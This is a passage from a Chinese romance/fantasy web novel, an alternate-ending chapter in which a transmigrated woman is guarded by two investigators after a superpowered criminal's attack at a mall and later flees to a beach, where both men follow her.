周州之前没提这一点,主要是夏乐栎的身份问题不好解释,这么一来关于异能犯的情况推测也就失去了根据,不足以被采信。对方这一次失败的袭击,反倒是刚好成为提出保护要求的理由。 至于夏乐栎本人的意愿,她当然是一百个点头答应。 开玩笑,要是她和商时驹真的只是平行世界的那种关系,她还可能考虑接受对方的保护。但是现在明显有问题! 平行世界的她到底有多勇啊? 和这人谈恋爱居然还暗地里劈腿人家兄弟! 会死吧?! …… 到了异监局的安排的新住处,夏乐栎对着送她过来的两人露出一个尴尬而不失礼貌的微笑,飞快地关上了门。 都是平行世界的问题! 和她无关。 门“啪嗒”一声在眼前关上。 商时驹盯着看了一会儿,转头看向周州,“怎么回事?” 周州:[没什么,她只是看到点东西而已。] 商时驹想起了那个废墟上的拥抱,心底有点恍然。 他好像确实是“终于救下了人”,但是对方呢?在得救之前遭遇了什么?那场遭遇又是不是因为他? 想到对方站在路口时的僵硬反应。 商时驹沉默了良久,终是长长地舒了一口气。 算了,人没事就好。 也不一定…… 周州:[她在和我接吻。] 商时驹猝然抬头。 周州不在意地笑了下,[场合比较特殊,她大概以为背着你做的。] 虽然商时驹看着很想给他来一拳的样子,但周州却神情坦然地放松着。 [平行世界的可能性而已,并不只有你这一个可能吧?] 回想着那沾染着血色的拥抱,他轻轻弯了下眼,莞尔着轻声,[说不定,是我先遇到的呢。] 70 · if 完 人不可能一直呆在安全屋里。 在最开始几天的风声鹤唳之后,对夏乐栎的保护渐渐放松下来,再加上后续又出现了几次同样异能波动的案子,似乎“异能被锁定在一个人身上”的限制也站不住脚了。 不过这几天时间,夏乐栎也和负责她的那位调查员混熟了。 是个新入职的小姑娘,虽然一拳头下去能把地面砸裂了,但是日常是个爱吃甜食并且同情心泛滥的萌妹。 在得知夏乐栎无父无母、一边打工一边学业、艰难养活自己的经历之后,一连好几天看夏乐栎都眼泪汪汪的。 夏乐栎:试图解释但失败.jpg 这穿越福利也太齐全了,为什么连背景资料的都包了?! 又无意间知道,夏乐栎因为刚来K省,连套换洗衣服都没有,也不知道对面脑补了什么,看夏乐栎的眼神已经快碎了。 没过多久,她就小心翼翼地提出,“我这儿有张购物券,留着也没用,咱们要不要去逛逛街?” 夏乐栎:“……” 真的不是你想的那样! 虽然但是,夏乐栎还是接受了漂亮妹妹的好意。 只是出去的时候,遇到了商时驹。 准确的说,是商时驹和周州两个人。 这几天都在有意回避,突然看见了人,夏乐栎头皮一紧。 没想到旁边唐柚比她还紧张,宛若小学生站军姿似的、一瞬间腰板溜直。 “商、商队长!”不等商时驹问,她就一五一十地把接下来去的时间地点全交代了,然后,“……我打了申请报告了。我是‘陪同人员’,没违反规定。” 唐柚看不见,但是夏乐栎确实看到,商时驹和周州交换了个眼神。 随即,周州走了过来,[我和你们一起去。] 夏乐栎试图以眼神拒绝,但是无效。 她怀疑对方故意装看不懂! 周州倒是没有这个意思,他对着夏乐栎摇了摇头,[按理说,时驹过来本来是协助的,不好插手太多,但是K省这边有点问题。] 夏乐栎一愣。 [之前又出事了。虽然异能量的波动吻合,但是能量明显是附着在物体上的,有人试图以这个理由,推翻之前猜测出来的异能限制条件。] 看着夏乐栎还没明白的样子,周州笑了下,[有人想让你尽快从安全区域出去。] 夏乐栎只觉得身上一凉。 她下意识地看向唐柚,但是很快就在心底否认:不可能! 周州:[不是她。] 不如说就是因为这小姑娘够安全,才让她当了临时安全员。 [时驹应该去问了,谁引导她产生这个想法的。] 周州明显不想多说的样子,倒是旁边的唐柚,远远地看见商时驹确实走了,肉眼可见地大松口气,然后拉着夏乐栎说起了对方这几天的可怕事迹一二三四五。 只是夏乐栎越听表情越是微妙。 她总觉得这些事不是商时驹能干出来的。 想着,她忍不住看了周州一眼。 周州莞尔:[要不是时驹来的第一天就把这边行动组的人全揍了一遍,后来也没那么顺利。] 夏乐栎:“……” 你谦虚个什么劲?不是在夸你啊! * 虽然出来的背后有各种原因,但是到了商场之后两人倒是真的投入逛街这项活动了。 唐柚对着镜子照了照自己的新打扮,“乐栎姐,你眼光真好啊!” 夏乐栎:“……你喜欢就好。” 说着,她瞥了旁边的周州一眼。 ——也不全是她选的。 唐柚“我再试试另一套!” 唐柚抱着衣服又进了试衣间了,周州指着其中一件休闲款的西装外套:[我觉得还挺适合你的,要去试试吗?] 夏乐栎:“……好。” 这人真的好会啊! 品味很好,非常会说话,还很有耐心、能照顾人…… 有一说一,她真的有点理解平行世界的自己了。 夏乐栎心情复杂地抱着衣服进了试衣间。 但就在她踏入里面的一瞬间,整家店的灯突然黑了。 视野骤然转暗,还没来得及适应的眼前的漆黑,夏乐栎就觉得一道柔和的力道压在了她身上,她整个人都被往里推到了墙角。 入耳一连串重物砸落的哗啦声,刚才那地方的天花板砸下来了。 后知后觉发生了什么,夏乐栎只觉得冷汗背透。 轻柔的拍抚落在背上,耳边是低低的轻声,[没事了。] 眼前似乎又有几个画面闪现,好像是一个黑暗又对着杂物的屋子,又似乎是个一片狼藉的海上餐厅。无一例外的,明明十分恐惧,但又带着一种很奇特的安稳感。 这突然的黑暗只持续了几分钟,商场里的灯光重又亮起。 唐柚已经狂奔到试衣间,一把扯下了隔间的帘子,看见夏乐栎之后人都要哭出来了,“你没事吧?!” 但是夏乐栎这会儿没有空回复她。 试衣间的隔帘被扯下,内外的间隔不复存在。 因为一早猜到了异能犯的行动,商场这边当然早有布置。 几个调查员包围着那一块区域,正有人在旁边拉着隔离线,商时驹在隔离区的正中央,这会儿正按倒着一个个子矮小的男人,抬眼看向试衣间里(划重点)正被周州抱着(划重点)的她。 夏乐栎:“……” 明明是平行世界的劈腿,为什么是她遭遇翻车!! 商时驹的手劲确实大了一瞬,她听见嫌疑人一声凄厉的哀嚎。 夏乐栎的头皮一紧,觉得自己的下场仿佛近在眼前。 …… 好在商时驹这会儿没空处理这点私事。 现场很快被控制住了,夏乐栎也跟着异监局的车一块儿回去做笔录。 看起来一切顺利,但中途还是出事了。 嫌疑人还没上车,邻近的一辆车突然爆胎,巨大的动静将众人目光吸引过去,遮掩了手铐滑落的哗啦声。不过他并没能成功脱身。 和手铐脱落同时响起的,是一声清脆的骨裂。 嫌疑人这次连嚎叫都没叫出来,就闷闷地哼了一声,满头冷汗地抱着腿栽倒在地上。 商时驹收回了脚,抬眼看向刚才负责押送的调查员。 后者僵硬地,“我、我就是没注意……” 商时驹冷淡地,“回去和督察组解释吧。” 本来打算上车的夏乐栎也看见了那边的变故。 因为试衣间的事,唐柚这会儿寸步不离地跟在夏乐栎身边,不过这位甜妹的身高没法挡住夏乐栎的视线,她还是从人群间隙和那个异能犯对上了视线。 对方显然认识夏乐栎,视线一对上,他的目光就直勾勾地盯了过来。 一股森凉的寒意从心底泛起。 周州按着夏乐栎的肩膀把人转了个方向,[别看了。] 夏乐栎刚想点头,脑海中却突然出现了大量的画面——明明没有见过,却又熟悉得仿佛亲身经历——突如其来的记忆冲击让大脑仿佛超载,其他的感官瞬间失灵,夏乐栎往前一个踉跄。 唐柚本来就十分警惕,见此状况立刻惊呼出声:“乐栎姐!” 有人比她更快地将人揽入怀中。 唐柚下意识都想要动手了,抬眼却看清了冲上来的人。 她差点咬了舌头,“商、商队长。” 商时驹表情不太好。 夏乐栎就更不好了。 刚刚那记忆的冲击才结束,被碰触的那一瞬间,新一波的画面涌入脑海,才缓过来的大脑承受不了再一次的冲击,夏乐栎只扛了两秒,就不负众望地晕了过去。 …… 医院。 周州一边跟着商时驹往里面走,一边抱怨,[后续处理完全用不上我帮忙吧?明明我不在也可以。] 商时驹无动于衷,自顾自地往前走。 放任周州留在医院等人醒,他是脑子有病才干出这事。 [时驹就不担心吗?她肯定会害怕,昏迷过后醒过来,却发现一个人在医院。而且这对她来说,还是个全然陌生的世界。] 商时驹言简意赅:“有唐柚。” [那不一样。] 周州状似叹息,[时驹你这样是不会有女朋友的。] 商时驹:“……” 他合理怀疑周州在内涵他。 总之还是这么一路到了病房,洁白的床铺干净整洁,看起来完全不像是有人的样子。 正好唐柚从外面进来,看到了商时驹一愣。 略微僵硬地打了招呼后,就被问道,“人呢?” “已经出院了啊。乐栎姐说自己就是有点低血糖,用不着住院,她也不太喜欢医院的环境。而且检查单子也出来的,医生看过,说是没什么大事……”唐柚说着说着忍不住声音渐小,她小心觑着商时驹的神色,低声补充,“怎么了?异能犯已经被抓了,乐栎姐也不用回局里吧。商场的目击者这么多,也不差这一份笔录。” 商时驹:“去哪了?” 唐柚愣了一下,迟疑不确定着,“说是去散散心,但是具体是哪……” [走得很干脆呢。] 周州轻叹,[我就说时驹你这样子,是找不到女朋友的。] 商时驹:“……” 他好欠揍。 * 夏乐栎几乎是醒来的第一秒就决定要跑路。 两段记忆在脑海中交织着,彼此的界限难以分明。 好消息,平行世界的她没有劈腿。 坏消息,她都在正儿八经谈恋爱,同时(平行世界版)。 ——人干事?! …… 阳光,沙滩,海边。 找了个旅游圣地度了几天假之后,夏乐栎彻底把这件事抛到了脑后—— 平行世界的恋爱和她有什么关系? 她还单身! 太阳渐渐往海平面下沉去,海水也随之退潮。 被浸湿的沙子带着细腻的触感,踩在上面软绵绵的,时不时有退潮留下的水洼,带着奇特的蓝色光泽。 “小心,那是水母。” 夏乐栎正准备凑过去看,被人拦住了。 是个年轻的男人,皮肤晒成了小麦色,笑容十分爽朗,看起来对海滩上的生物很有了解。两人略微聊了几句,对面试探着提出了邀请,“去喝一杯?” 夏乐栎其实犹豫了一下,但还是点头了。 单身被搭讪多正常啊! 结果聊天内容非常无聊。 她对海边别墅的装修风格不感兴趣,还不如他在沙滩上讲的寄居蟹一二三呢。 正心不在焉地游移着目光,落到某个点却骤然僵住。 她猛地低下头,假装自己是店里诸多顾客之一。 对面关切:“怎么了?” 夏乐栎不着痕迹地往里挪了挪,“没什么。你说你上次的度假?” 话题一抛出,对面果然滔滔不绝起来。 但是没多一会儿就止了声。 夏乐栎知道是为什么——她座椅的靠背上撑了一条手臂。 而另一边,别人看不见的视野中,周州则是从容地坐在了男人旁边。 他半侧着身朝着夏乐栎的方向,撑着脸笑道:[乐栎你仔细看看他的左手,虽然痕迹非常淡,中指上有戒指印痕。不算传统意义上的订婚位置,就算戴在手上也有很多解释,反而是特地摘下来才有点奇怪。] [……香水味道很有质感,但是并不是熟知的几个奢牌,不太像他的性格会选的。] [是朋友送的吧?味道很细腻,我倾向于女性。] [……] 周州一连点出好几点,对着夏乐栎莞尔。 [还要我接着说下去吗?] 不用了。 因为对面已经抵不住商时驹的眼神压力,随口扯了个理由跑路了。 周州自然而然地占据了对面的座位,商时驹随手拖了个椅子在过道上坐了。 顿感自己被包围了的夏乐栎:“……” 可怜弱小又无助.jpg [A和B选项,选C吗?作弊可不是好选择。] 周州依旧笑得温和又没有攻击性,[不过毕竟是乐栎,可以有特别对待。双选怎么样?] 听明白对方意思的夏乐栎:“……咳咳、咳!” 她差点失手把手里的果汁杯子扔出去,好在被商时驹稳稳地压住了。 不过后者的表情,看起来很想把这杯果汁扣到周州头上。 面色不善地警告了周州一眼,商时驹转过头来,“别听他瞎说。” 他像是缓和了下神色,垂下眼,很认真地看过来,“我说过了,‘不是真的’。不管再怎么相像,那都是另一个世界的事,那不是你。” 夏乐栎怔了一下。 却见对方坦然伸出手,“重新认识一下,我是商时驹。” 夏乐栎:“……” 心脏好像在跳。 周州看着那边,倒也没有阻拦。 时驹的优势嘛~ 话说得那么漂亮,不也还是追过来了吗? 当下最要紧的是,先不要让人跑掉。【你现在阅读的是 】